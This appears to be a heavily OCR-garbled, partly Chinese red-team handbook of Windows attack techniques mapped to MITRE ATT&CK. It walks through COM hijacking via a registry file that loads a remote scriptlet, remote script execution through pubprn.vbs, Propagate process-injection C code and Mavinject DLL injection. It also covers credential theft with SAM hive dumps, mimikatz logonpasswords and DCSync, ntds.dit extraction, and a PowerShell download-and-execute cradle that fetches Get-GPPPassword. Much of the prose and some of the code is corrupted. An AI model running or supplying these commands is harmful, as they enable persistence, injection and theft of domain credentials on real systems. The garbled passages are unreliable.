@="rundlI32 xwizards.dll,RunPropertySheet /u {00000001-0000-0000-0000-0000F
EEDACDC}"

"COM Hijacking"=""

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
@=I| mn

[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-
0000FEEDACDC}]
@="Scripting.Dictionary"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-
0000FEEDACDCHInprocServer32]

@="C:\\WINDOWS\\system32\\scrobj.dll"

"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-
0000FEEDACDC}\ProgID]
@="Scripting.Dictionary"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-



OOO0OFEEDACDCH\ScriptletURL]
@="https://raw.githubusercontent.com/apiOcradle/LOLBAS/master/OSScripts/Payl

oad/SImgr_calc.sct"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000—-

0000FEEDACDC} VersionindependentProglID]
@="Scripting.Dictionary"

cscript C:\Windows\System32\Printing_Admin_Scripts\zh-CN\prncnfg.vbs /?
cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\prncnfg.vbs /?

Calculator

Standard

ZZH®1 M https://twitter.com/harrOey/status/1137443710197817344



37.3 COM #j#%(T1122)Component Object Model Hijacking(fl 3)

Options View Process Find DLL Users Help

OB 5% Ad

EY CURRENT_USERSoftwareClasses\CLS|

£ tinis BREEES

o suto_file
cfs_suto fle
s _sutofle

ersidemoniDesktopimbox.d

533-4307-985 2ED1FES)
CC-49AD-BACF-ECC2DA314CEA
(1BFA2EAC-AAFA-ACFD-A1.
8e58-4007.

c-801
DCESDS-4BST.
DFDDB-F414- . S procersbt.

e

(A9267148-787C-4D08. AD35-80021305FFA)

(CBIDOFS5-BC2C-4C1A-BSED-23ED 7585105
(F241C890-6982-4CE5-8CF7 - T0B5BAB6DASA)
~ || (SOAAZAE-1CBA-4233-8888-535772048445)

ProcSemver32
cm3_auto,_file

crm_suta fle Physical Usage:

commicrasof printid
COMMIT EDITMSG auto e

cont_auto i

corfig auto fie

s
oo an

ssslerer aas
e
et ase

8

Mizesusft Cerserntis
Micrasafs Corpsrm

L]

sers\demon\Deskiopcmd dil

2DAT14CEA}
60BBFE3E
9

TAFDFDDB-

914-11£4-8377-6CIBES0DBOCH

tps://www.bleepingcomputer.com/news/security/windows-10-ransomware—

protection-bypassed-using-dll-injection/


https://demonsec666.oss-cn-qingdao.aliyuncs.com/75BB3EF2528A3EE7401A0E0C5CD934D5.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/75BB3EF2528A3EE7401A0E0C5CD934D5.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/F4CB9FD5C87E4D86C57233D159888FA4.jpg

37.4 COM #j#%(T1122)Component Object Model Hijacking(5l 4)

one® Windows 10 H i e e F B 4 I

Acunetix 11

B Windows PowerShell ISE = O b4
| P wEE WEV) IEM EHO) WIIRE) WEH)
| H 4 o » P W W 8E 1 | @ [ .

COM Object hijacking persistence.ps1 X & = X X
hen you start iexplore.exs, it also starts cale. exe. i - E
= =R

TVgR s

Add-AppvClientConnectionGroup
Add-AppvClientPackage
Add-AppvPublishingServer
Add-AppxPackage
Add-AppxProvisionedPackage
Add-Appxvolume
Add-BCDataCacheExtension
Add-BitLockerKeyProtector

Add-BitsFile
Toz——Pach “RAPENATAR Wi crocoftt Inesa]llar (BCTEN385-FSIF—4R T RN 4573251857F | r add-CertificateFnmollmentPolicyss
y i 22:23
£ A~ D) P ENG ]

2018/9/4

PS C:\Users\demon> $fileContent = [System.|O.File]::ReadAllBytes('C:\Users\demo
n\Desktop\calcmutex.dll')

PS C:\Users\demon> $fileContentEncoded = [System.Convert]::ToBase64String($fil
eContent)| set—content ("123.txt")

http://www.4hou.com/technology/4958.html
https://github.com/3gstudent/test/blob/master/calcmutex.dll


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1536071005118.jpg

SR SEEE) BE0) =BV EEH)
VoOAAMASAAEARAA / / BAAL ZAAAAAABAN

zet—content |

38.71#2 A Propagate( T1055 TA0005 TA0004 )

piinjection-mas

https://github.com/odzhan/injection
https://modexp.wordpress.com/2018/08/23/process—injection-propagate/


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1536070047935.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/DF31317B9D858CFDD64A2D5AB8B8ACBD.jpg

BiERTF Windows 7 #1 10, {ERHITHEIRINE, ELLrIEESE explorer.exe BAiR
S HEHM—LTIMTA.,

VOID propagate(LPVOID payload, DWORD payloadSize) {

HANDLE hp, p;

DWORD id;

HWND pwh, cwh;
SUBCLASS_HEADER sh;

LPVOID psh, pfnSubclass;
SIZE_T rd,wr;

/) 1R E T

pwh = FindWindow(L"Progman", NULL);
/2. KR F B

cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);

/7 3 IRERFETERIDIH

p = GetProp(cwh, L"UxSubclassInfo");

// 4.3%BY explorer.exe FIHFE ID

GetWindowThreadProcessld(cwh, &id);

// FTFF explorer.exe

hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

/7 6. XN = B F2EFmek

ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);

/7 7. 9HHIF R B RW A7

psh = VirtualAllocEx(hp, NULL, sizeof(sh),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

//8. BT H RWX 7

pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

/7 9. ¥% payload SN\ A7

WriteProcessMemory(hp, pfnSubclass,

payload, payloadSize, &wr);



/7 10.1% pfnSubclass FE 1L BB XTI geHbUf, F1F

/7 B EIFIFEA 7

sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);

// 11.1ZH SetProp

SetProp(cwh, L"UxSubclassInfo", psh);

/) 12 R 2 E )5S payload

PostMessage(cwh, WM_CLOSE, 0, 0);

/7 13. RE LG F bk

SetProp(cwh, L"UxSubclassInfo", p);

/7 14. EJ BRI Z XK 1

VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);

CloseHandle(hp);

39.;#FEHEA InfectPE( T1055 TA0005 TA0004 )

AInfectPE.exe \input.exe \out.exe code X (XIB#GENRIBER, XFhAEERR
g, BENNBEFEEEBNTIE,

A\InfectPE.exe \input.exe \out.exe largest X i3 EANEIZE TR ZHIED
7, ERAXMAEEANEARN x K18, ZAEER T ILE D RIYFIE, FEEN
&,

\InfectPE.exe .\input.exe .\out.exe resize BAIBERMA/NEEAN x 18, X
MR, MG RE”—1F, AXAIE, WRIBUEAEARMN x L,



A\InfectPE.exe .\input.exe .\out.exe new BlIFZE— D HBEATEN x £
1B, ZH o HERIERIRE . infect”

FEANT XA, ASLR # NX#REH, &rRILAD T VS BB SHRAER.
BAEERT SR A ERNATHRITXE

C:hzers demony. !

S2EZ%HK  Github https://github.com/secrary/InfectPE
https://www.microsoft.com/en-us/download/details.aspx?id=53840

MSRAZE © https://www.ggsec.cn/InfectPE.html

40. cscript (TA0002 TA0005 T1216 )
cscript C:\Windows\System32\Printing_Admin_Scripts\zh—-CN\pubprn.vbs localhost

“script:https://gist.githubusercontent.com/enigma0x3/2e4f571fe76715640d0f8126f
3
21ba07/raw/73c962d65059a211b5d7ea212e9a1054d632622b/new.txt”


https://demonsec666.oss-cn-qingdao.aliyuncs.com/B6255317-B3BE-44A1-A454-00CF11F06358.png

Calculator

= Standard

41.Mavinject(T1218)

DLL JEAN f+4& DLL jEA? DLLEAZER DLL FANHAENAEFZE, AFKHE
ERE—BOMITER, XIFMERE DLL AIBEB X H#HEZREFNAE AR
PR, Joit Tl REER AT AR TR IE, EEEEME, WIS T HIZAIFR
BR. fla0, BHRESIHREDE, BRSEBEHIENNER. BEEFAN
DLL, fRPIBUEANFATIRAOAIBRIE YT hﬁ*ﬁﬂ@(%mmmm

Explorer) , XI§2EBRMHTLES


https://demonsec666.oss-cn-qingdao.aliyuncs.com/93B45FFD4A1AAFADA5C1C7DABCE3CD87.jpg

fommmm et e
| DLL Injector | | Target |
A | process's |
address |
space |

e e s > Injected DLL |

R e e pIELS
ATHAMARE —MEA A DLL SIS, LA TE. AP E Rootkit
FBFP 183t rootkit RS PIRRIER, rootkit {UINAEH rootkit (RETERA LR
2ix4E) , GIURRAZIREXE, BERFRIRE. RITEXMESIMRA
ring 3, IPIIKIESS rootkit 2 ring 0. REERIRRITA? KE—MAMHEE.


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1513775930135.jpg

it Gate

®
eI EE, KEERAFEN, PENIeERNRER. REWF 1 K 2 /AXE
£, BXFREHANMEA, FMUENIRZHE 05 3. MEF 31AH WInAPI [REEAR,
EN] 3 T EEERS CPUR(E, FiAIuEd —R IR E [ AR 0 #1700
R, —BHEANNR 0, BRIFRSHITIESRIITREVARMBIERIE, BEiXEF
i, APl #8{EMIF 3 ZiEE 0 HIREIMNS S RIFETE MM AHIENR.
mavinjectMavinject 2 —N&7AR) Windows A, B EEG EEIEITRYHTES
FRMEA, MITEEREEN. BTIXE Windows EH—1MERAH, ELLH]
MAAERNITEAXENKE.


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1513775561212.jpg

= =7~} =2

» IEERE > AHEEEEE (C) > Windows » SysWOW64

~

EFF =k

|_] Magnification.dll

B4 Magnify.exe

%] main.cpl

# [#E] makecab.exe

o+ |4 MapConfiguration.dll
|2} MapControlCore.dll
|4 MapCantrolStringsRes.dll
|%] MapGeocoder.dll

4] mapiz2.dil

[2] mapistub.dil

|%] MapRouter.dll

2] MapsBtSvedll

2] MapsTelemetry.dll
[ mavinject.exe

[ Mbaeapi.dil

|%] MbaeApiPublic.dll

%] mbsmsapi.dll

] mbussdapi.dil

[#] mcbuilder.exe

|_1| MCCSEngineShared.dll
|%] mciavi32.dll

%] meicda.dll

%] meigtz32.dI

1-HE 146 KB

g mavinject.exe BE

s frEs 22 FEEE LiaEE

=3 &

e
MiFiHEE  Microsoft Application Virtualization Injector
=3 REFRER
XiEEE 10.0.15063.0
FmER Microsoft® Windows® Operating System
FmlEE  10.0.15063.0

© Microsoft Corporation. All rights reserved.

Foh 146 KB
EHEE 2017/3/20 E5F951
E= =EEE

BEHE mavinject32.exe

SotiE, BNRBENSHNRIAYE, BRMNDAZIRLNER, Ritas—

NEBRIE D FRAITXFIRIENREREIE X EXCEL.EXE,

DESCRIFTION

FERTE)4H 75, mavinject32.exe 7E excel.exe FHITRIZEN ,
X5 T —EX T 5| BRI se A EEH B R IRRIR =17
M2 RIE T :

,.\J:_LEUZ%JJ:



https://demonsec666.oss-cn-qingdao.aliyuncs.com/1513778423174.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/events-768x180.png

PROCESS

PROCESS DETAILS

St 56

Cmdline

i
ERIBE, mavinject32.exe @—1&7EM Microsoft B, mLITHEEE,
AMDLSDHRE, WEMUFWMT: mavinject32.exe <PID> <PATH DLL>3EfR E2
Einm _EIB1THY excel.exe SEIRY PID, HERE 57 “SM4 HAEENAI DLL AR
REMN, “mav-inject” IBFMNIZELEHEET, AX—RL, BINTRE
FIREMR AR (RDmR) EEEEMHARFEIANERNEE DLL, FERE—F,
=10 T % Mavinject @R 2HEIMNAH; BAEUTMIENAERR LXEIE:
"C:\Program Files\Common Files\microsoft shared\ClickToRun\Mavinject32.exe"Itt
Gb, EIITSUGRT BAE E MR B R 3 El: System32 #l SysWOW64, X144
RE BB R4 FileDescription: Microsoft Application Virtualization Injector
%N FAFEE 2 Microsoft Application Virtualization (App-V) B—E% ., AIHAT
XN ERAN1SRIA TR BIIS

/INJECTRUNNING

IARTRS T
ERNFHRZEARSS 28, iBEERIMNESATER. ERSAXN, BIERELMETEREBmavinectdd T1E, W—TTAEEIB@hexacornfd TS
™ Adam L

@Hexacorn

mavinject(32).exe contain detour lib&can inject code to processes;
APP-V related cc @mattifestation @_devonkerr_ @Carlos_Perez
@subTee

2:15 AM - Sep 15, 2016

Qa3 18 Q17 [}

B itntars (3
FA Mavinject ... ZIREEIREREEFNEZERZE, BIIHE T —TE L
FB%5:  mavinject <PID> /INJECTRUNNING fEFLL a5 24TIEITHI AT 1T S &+ A
TEMRI:

Computer\HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\AppV\Subsystem E 18
NEMER: ValueName: Modules — ValueData:


https://demonsec666.oss-cn-qingdao.aliyuncs.com/proc-details-768x226.png
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1513776172973.jpg

C:\Windows\System32\AppVEntSubsystems32.dlIValueName: Modules64 —
ValueData: C:\Windows\System32\AppVEntSubsystems64.dll 1R#E B iniEfE R R 45
1 (32Musy 64 fiz) , ERFEAEF—TDLL, [Ef5 Mavinject ... BT #E—F 5
r, RBENZ, BEHFRING AT MEERNTAIVEA—T DLL E—MER
1T FEA:  Mavinject.exe <PID> /INJECTRUNNING <PATH

DLL>

Untitled - Notepad

File Edit Format View Help

Atomic Shim DLL Test!

https://gist.github.com/anonymous/b25cb82c4b3d40648f0b589fa242577f


https://demonsec666.oss-cn-qingdao.aliyuncs.com/DRGMJzHVQAEZMxn.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/DRGMJzHVQAEZMxn.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/DRGMovJWsAAMNDD.jpg

Casey Smith @subTee - 12818H

SU/B simple DLL Inject UserMode Hook Example:
gist.github.com/anonymous/b25c. ..
Nice Complimentary pairing with mavinject.exe ¥
In this example, we hook CreateProcess and prevent cmd.exe/taskmgr.exe
PoC only, but you get the idea.
More interesting would be to hook sspiclilEncryptMessage ;-)

& EiFEEx

Ew

ﬂ Whindowws carenct pcoecs the 5.:::'\_.".-:.1 dieics patfy or Tle, You may Mot Bawe the It

https://reaqta.com/2017/12/mavinject-microsoft—injector/ M{ERFRM4ZIERH
M4 FERESTES Mavinject.exe BIEEE
https://twitter.com/subTee/status/942779279623913473

MSRAZE © https://www.ggsec.cn/mavinject.html

75.Credential Access

REEDRAF2MERE, FiIbhNeiEsm AP MEEEERENRAR,
H%:

6. M HR1E

6.1 Windows

6.1.1 BHEER


https://demonsec666.oss-cn-qingdao.aliyuncs.com/052530D337AEFC1DDEC731D041FF3608.jpg
https://attack.mitre.org/tactics/TA0006/

6.1.2 FIEFeE

6.1.3 ARBEEHIED (GPP) Xft
6.1.4 XHHRREHE

6.1.5 JEMRFNETE

6.1.6 EICE

6.1.7 Kerberos

6.1.8 Kerberoast

6.1.9 IRIR

6.1.10 R jE

6.2 Linux

6.2.1 Bash History
6.2.2 BRDEERE

6.2.3 FA%A

6.2.4 MBIRERHER
6.2.5 X4 EHEHER

6.1.1 & 1@

HRHXAHERDY E B EIRENE HASH BY, AIDUBSR HIRARSAKAE HASH /Y
AREEIRTAE, HIRENENRZAF A HASH R KEE 7] OB Fise it B 4F a9 R2aT
REBEELGRBTESRATHE, BAN@BIEERE (PTH) KEITHMHIIL,
HIEE AN EZRBRYE R N DMERR N IRENS UREITIRE, XTHAAE—
TERRNAN, ARSSEAENSHIERBAK,HE, TR OEE 2



BRI AR FH#HITEIN, https://doubleoctopus.com/security-wiki/threats—
and-tools/password-spraying/ https://blog.stealthbits.com/using—
stealthdefend-to—-defend-against—password-spraying/
https://searchsecurity.techtarget.com/answer/What-is—a—password-
spraying-attack—and-how-does—it—-work @& {ERZBER A AE— MmO
FHTER:

e SSH (22/TCP)

e Telnet (23 / TCP)

e FTP (21/TCP)

* NetBIOS / SMB / Samba (139 / TCP #1445 / TCP)
* LDAP (389 /TCP)

e Kerberos (88 / TCP)

* RDP /%irBRSS (3389 / TCP)

e HTTP(S) / HTTP &¥ARS5 (80 / TCP #1443 / TCP)
e MSSQL (1433 / TCP)

e OQracle (1521 / TCP)

e MySQL (3306 / TCP)

e VNC (5900 / TCP)

6.1.2 STk ¥ ik

RULEEME R MIRIE RSN R AREUKF B R NZBERRIERE, BELHASH M
BABRBRIZE, RSP AME R FRIRERRO B R # 1T 11T 250,



SAM SC{4FRE

SAM B— T EHEEX M, ERESENMNTIKFER, BEZER net user &5
LEEEHEINAPF . EWNE SAM BIEEFTEHITRARRILE, AJXBEATA
TURIREXEI SAM X {4+

* reg save hkim\sam sam.hive

* reg save hklm\system system.hive

\test\Desktop>reg save hklm\sam sam.hive
SER .

I e

t\Desktop>reg save hklm\system system.hive

C:\Users\test\Desktop>_

system
REBIE mimikatz 323REX HASH:  Isadump::sam /sam:sam.hive

/system:system.hive

mimikatz # lsadump::sam /sam:sam.hive /system:system.hive
Domain : TEST-PC

SvusKey : 691b7051866510b493097256ef8814b4

Local SID : S$-1-5-21-2418734468-2155899384-4285225798

1 belf3cclchdeelae24232718e3792609

: DOPOO1f4E (500)
: Administrator

. 31dé6cfedd16ae931b73c59d7e0c089cO
: POBAOLTS (501)

. Guest

: 0000038 (1000)
. test

. aacd12d27c87cac8fcBb8538acd6f058

R BURG LIRS 4 FEEIA M, (£ Creddump7 TEZAHELMEE SAM #8358 2 A
WERIEFHE, =& cain F3REL




mimikatz

BTeES i EE (Domain Credentials) HIBAX, thEES
Credentials) HIBAX, BEFTESH IE XT3 TF0EH9EAS,

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Ex

BAEE (Generic

filtration/Invoke—-Mimikatz.ps1 powershell —exec bypass "import—

module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
W EER: TS

S (B S

C:\Users\test\Desktop>powershell -exec bypass “import-module .\Invoke-Mimikatz.p|
s1;Invoke-Mimikatz"

_HHHHE . mimikatz 2.1
JHH © HH. "A La Vie,
HE /7 \ HE /e 3
HH4 \ / #H
"HH U HH'

HEHHE

(x64) built on Nov 10 2016 15:31:14

A L Amour™

Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
http://blog.gentilkiwi.com/mimikatz (oe.eo)
with 20 modules x x x/

mimikatz(powershell) # sekurlsa::logonpassuwords

: 0 ; 1345580 (00000000:0014882c)
: Interactive from 1
test
: test-PC
: TEST-PC
: 2019/6/26 18:13:37
: $-1-5-21-2418734468-2155899384-4285225798-1000

User Name
Domain
Logon Server
Logon Time
SID

msy :

[00008003] Primary
Username : test

Domain
LM
NTLM
SHA1
tspkg :

* Username :

»* Domain

* Passuword :

wdigest

* Username :

*x Domain

* Password :

kerberos :

* Username :

* Domain

* Password :

ssp
credman :

Authentication Id :
Session

User Name

Domain

Logon Server

test-PC

e88d94d6ebd10fcTaad3b435b51404ee
aacdl12d27c87cac8fcOb8538aed6fOS8
bc2064f58bcHddeTc925b488ad31b24f337ddTeea

test
test-PC
testil

test
test-PC
testil

test
test-PC
testi

0 ; 1345545 (000O0E00:00148809)
Interactive from 1

test
test-PC

. TEST-PC




vaultemd 74 (Win B%7) SHEAZHCER

vaultemd /list —%H{REE vaultcmd /listschema —>3| H{RE FERRE,
EIERFRF GUID GUID XM RIEE 12 K %localappdata%/Microsoft\Vault{GUID}

THIX

. GUID: {HBFHCHHZ 9B8A-41A0-B380-DDYATO4DDB28}
L E : C:\Users\test\AppData\Local\Microsoft\Uaul t\4BF4C442-9B8A-41A0-B38
0-DD4ATO4DDBZ28

= GUID: {??BCS ZB FOAG-4E15-4EB0-61736B6F3B29)
rs\test\AppData\lLocal\Microsoft\Vault

1): Windows Secure Note
: (2F1AG504-0641-44CF-8BB5-3612D865F2ES)

Windows Web Password Credential
(3CCD5499-87TA8-4B10-A215-608888DD3B55)

DR A AL

test FI{REE
GUID: (4BF4CHY42-9BBA-41A0-B38O-DDHATO4DDB28)

{51

: Mlndou« =%

Windows 1= i £ %
: (E69DT838-91B5-4FC9-89D5-230D4D4CC2BC)
-GUID {3EBGE3SBE 18[[ 43E7-B873-AED901B62T75B)

Windows Extended
: {3C886FF3-2669-4AR2-A8FB-3F6T59ATTS48)

FREL NTDS 304

Active Directory IZfEBXEMRRIER, BEEATRIEEENE AR HIINER
IR EFIEF . Active Directory HEIEEFETE NTDS.dit B, ZRIANER T,
NTDS S {EIG AL FiEin ] 22 A9 %SystemRoot% \NTDS\Ntds.dit 7, B BAEIE AT T



BELF1#4¢ NTDS SXHFZE Active Directory IBHBHIRS , 81T VSS B2,84I80
FHFREN NTDS. dit

1. 183 ntdsutil.exe $£EX

e {$M ntdsutil.exe BIZEIRER

C:\Users\Administrator>ntdsutil snapshot “activate instance ntds™ create quit quit
ntdeutal

@ instance ntds

18 (e3516203-3171-81aa~96a0-c55aT2ffaTba).

ntdsutil quit

\Users\Administrator>ntdsutil snapshot “mount [c3%5182e3-31T1-81aa-96a0-cS55aT2ffaTba)” quit quit
tdsutil: snapshot

; mount (c3%5162e3-31T1-81aa-96a0-c55aT2ffaTha)

(a%T80001 -eal5S-43F1-a093-a20aT6813822) T(F & C-\$INAP_201908261214_UOLUNECS\ &

quit

o RREBXMAERIHN

C-\Users\Administrator>copy C:\$SNAP_201968261218_UOLUNECS\mindows\ntds\ntds dit C:\Windows\Temp\ntds dit

LT 1 X

o MIFREEHRIRE

C:-\Users\Administrator>ntdsutil snapshot “unmount (c35162e3-3171-81aa-96ab0-cSSat2ffaTba)” “delete (c35162e3-3171~
aO-cSSaT2ffaTba)” quit quat
ntdsutil: snapshot

unmount [c35162e3-3171-41aa-96a0-cS5%5aT

(a8 780001 -0abS-83f1-2093-220aT6813822)

delete [c35162e3-3171-81aa~96a0-c55aT2

(a8 730001 ~ealS-83f1 ~a093-220aT6813822) .M.

quit

util: quit

1. {EH Invoke-NinjaCopy S ntds.dit X{4 https://github.com/Veil-
Framework/Veil-
Pillage/blob/af7907fad0c7ffdd0eaa282044e3b629ecdebc99/data/Pow
erSploit/Invoke—NinjaCopy.ps1 Invoke-NinjaCopy —Path
"c:\windows\ntds\ntds.dit" —LocalDestination "c:\windows\temp\ntds.dit"

PS C:\Users\Administrator> Invoke-NinjaCopy <Path “c¢:\windows\ntds\ntds. di
L wdouws\ temp\ntds dat

ntds dit

B 271 https://pentestlab.blog/2018/07/04/dumping—domain-password-
hashes/



SH ntds.dit ## HASH
B ELZEHIRY ntds.dit XHEARMER N T AIE#ITIRE:

1. {$FH esedbexport 3REY, 7 Kali TZZE libesedb wget
https://github.com/libyal/libesedb/releases/download/20181229/libesedb—
experimental-20181229.tar.gz

:~# wget https://github.com/libyal/libesedb/releases/download/20181229/
ibesedb-experimental-20181229.tar.gz
--2019-08-30 02:43:19-- https://github.com/libyal/libesedb/releases/download/20

181229/1ibesedb-experimental-20181229.tar.gz
Resolving github.com (github.com)... 13.229.188.59
onnecting to github.com (github.com)|13.229.188.59]:443... connected.

2. MRETHZEKFIIIE tar —zxvf libesedb-experimental-20181229.tar.gz apt-

get install autoconf automake autopoint libtool pkg—config

:~/libesedb-20181229# sudo apt-get install autoconf automake autopoint
libtool pkg-config
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
autotools-dev libltdl-dev
Suggested packages:
autoconf-archive gnu-standards autoconf-doc gettext libtool-doc gfortran
| fortran95-compiler gcj-jdk
The following NEW packages will be installed:
autoconf automake autopoint autotools-dev libltdl-dev libtool pkg-config
® upgraded, 7 newly installed, © to remove and 184 not upgraded.
Need to get 2,396 kB of archives.

3. BIEB#HITRIFZLLE /configure make make install Idconfig

4. RINZRERFRETE/usr/local/bin/B] AR E!

libesedb-20181229# 1s /usr/local/bin

esedbexport | esedbinfo
Libesedb-20181229#

5. JFEFEE ntds.dit ## Kali, FRAZTE#TRE (RHEKEERVATXHEHKX
/\) . /usr/local/bin/esedbexport —m tables ntds.dit




esedbexport 20181229

Desktop# /usr/local/bin/esedbexport -m tables ntds.dit
esedbexport 20181229

Opening file.

Database type: Unknown.
table (MSysObjects) out of 13.
table (MSysObjectsShadow) out of 13.
table (MSysObjids) out of 13.
table (MSysLocales) out of 13.
table (datatable) out of 13.
table (hiddentable) out of 13.
table (link table) out of 13.
table (sdpropcounttable) out of 13.
table 9 (sdproptable) out of 13.
table 10 (sd table) out of 13.
table 11 (MSysDefrag2) out of 13.
table 12 (quota table) out of 13.
table 13 (quota rebuild progress table) out of 13.

:~/Desktop/ntds.dit.export# 1s
datatable.4 MSysObjects.® sdpropcounttable.?
iddentable.5 MSysObjectsShadow. 1 sdproptable.8
ink table.6 MSysObjids.2 sd table.9
quota rebuild progress table.12
guota table.1l1

L% ntdsxtract RIZBUFHHAIE R git clone
https://github.com/csababarta/ntdsxtract.git cd ntdsxtract/ python setup.py
build && python setup.py install

REAFEE R, ¥ ntds.dit #1 SYSTEM.hiv i & ntdsxtract E—H &
i, HITAT: dsusers.py ntds.dit.export/datatable.4
ntds.dit.export/link_table.6 output ——syshive system.hive ——passwordhasher ——

pwdformat ocl ——ntoutfile ntout ——Imoutfile Imout |tee 1.txt

:~/Desktop/ntdsxtract# dsusers.py ntds.dit.export/datatable.4 ntds.dit.
export/link table.6 output --syshive system.hive --passwordhasher --pwdformat oc
L --ntoutfile ntout --lmoutfile lmout |tee 1.txt

[+] Started at: Fri, 30 Aug 2019 07:49:04 UTC

[+] Started with options:
[-]1 Hash output format: ocl
[-1 NT hash output filename: ntout
[-]1 LM hash output filename: lmout
he directory (/root/Desktop/ntdsxtract/output) specified does not exists!




9. MINSGHAF{ESEM hash,

Lixt
|

Open ~ Save = @60 0

List of users:

Record ID: 3841

User name: Administrator

User principal name: Administrato

SAM Account name: Administrator

SAM Account type: SAM NORMAL USER ACCOUNT

GUID: ee27df32-db62-47d6-bfa9-5b6fde2452d5
SID: S$-1-5-21-3759881954-2993291187-3577547868-500
When created: 2019-05-19 13:07:31+00:00

When changed: 2019-08-23 ©8:56:51+00:00

Account expires: Never

Password last set: 2019-05-19 94:51:53.835977+00:00
Last logon: 2019-088-23 88:56:51.276976+086:00
Last logon timestamp: 2019-08-23 08:56:51.270976+00:00

Bad password time 2019-06-25 17:46:36.819516+00:00
Logon count: 62

Bad password count: i}

Dial-In access perm: Controlled by policy
User Account Control:
NORMAL ACCOUNT
DONT _EXPIRE PASSWORD
Ancestors:
$RO0OT OBJECTS, org, rootkit, Users, Administrator

DCSync

DCSync @ IR FINZEMR, ATRATMEEHERIRINERER . ERIEAEMITA
RBIAEENRE, melBEAEEHSENNARERRRERO (AP) RELKE
HEHSRNEHIERE, HiEtsE LNEER . SEEA. BWEEASITENKS,
HO1ERIRY G2 &R BEGS3E 1T DCSync M Active Directory FRiREXZZRBEUE, AT LA@IT
FrIREXZIRY HASH REIZR T 2@ il & B UK RIFPICRIERE,
Z%H8:  https://adsecurity.org/?p=1729
https://wiki.samba.org/index.php/DRSUAPI https://docs.microsoft.com/en-
us/openspecs/windowsprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-
ar7336e4792f httos.//docs.microsoft.com/en—
us/openspecs/windowsprotocols/ms-drsr/b63730ac-614c-431c-9501-
28d6aca91894 https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms—drsr/f977faaa-673e-4f66—-b9bf-
48c640241d47 http://www.harmjOy.net/blog/redteaming/mimikatz—and-
dcsync-and-extrasids—oh-my/

https://github.com/gentilkiwi/mimikatz/wiki/module-~—Isadump



https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97
%E9%80%8F-DCSync/

e BT Mimikatz 3XEX DCSync INEEE 2B & 7E Mimikatz B Lsadump #&E3RAH,

Lsadump EE3ET NetSync, ERBIELNEHIHINEHNIT DCSync S
AR BERFPHIES:  Isadump:dcsync /domain:test.com /all /csv

desyne /domain
l} ¢

. will be

< wmll

\H nll’: f$ HII1H

EHigA "‘Q‘IEm)ﬂ{:F' MIE%: Isadump::dcsync /domain:test.com

/user:administrator /csv

m1m1katz # lsadump :desync /domain: U7 /user :administrator /csv
[DC] \llll be the domaln

(DC1 0. s : . " will be the DC server

[DC] idl‘nll’11>tr1|0r‘ ‘will be the user acc

ount
500 Administrator 518b98ad41™®  ""S4c997aaB2dé55c

6.1.3 ZISKME LT (GPP) Sti4

ARBE IR (GPP) EATERRFABRARNKIECEERIRMN IR, Rtz
SMXEERIR AP EIRCNIRE RIS, XL RIS FHETE RIS HI83 £ A9 SYSVOL
B, ZMEREEQEAFEFIUNES SYSVOL A= HEREN
https://msrc—blog.microsoft.com/2014/05/13/ms14—025—an—update—for—
group—policy—preferences/ @13 LA T T B FNRI AN MAH SRBE B 150 XML X4
IREX:
1. powershell "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShell



Mafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-
GPPPassword"

Users\Administrator> pouwsershell "IEX (New-Object Net WebClient) Downloadsit
gl "https://rau._githubusercontent com/PoueriheliMafia/Poueriploit/master/Exfil
ron/Get-GPPPassuword . psl " ) :Get-GPPPassword

[20719-05-20 B6:29:08, 2019-0%-20 06:33:00)
[backuser. lower)
[BLANK ]
(admi.. . ab piv,
ROOTKIT . ORGA\SYSUOLY: v .. _JPolicies\[AFT9ZAZC-BF19-8B22~-38CT
AT9308032283 | \Hachine\Preferences\Groups\Groups . xnl

S F & SH N Get—-GPPPassword.ps1
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/maste
r/Exfiltration/Get—GPPPassword.ps1 PS> Import-Moudle \Get-
GPPassword.ps1 PS> Get—-GPPaswword

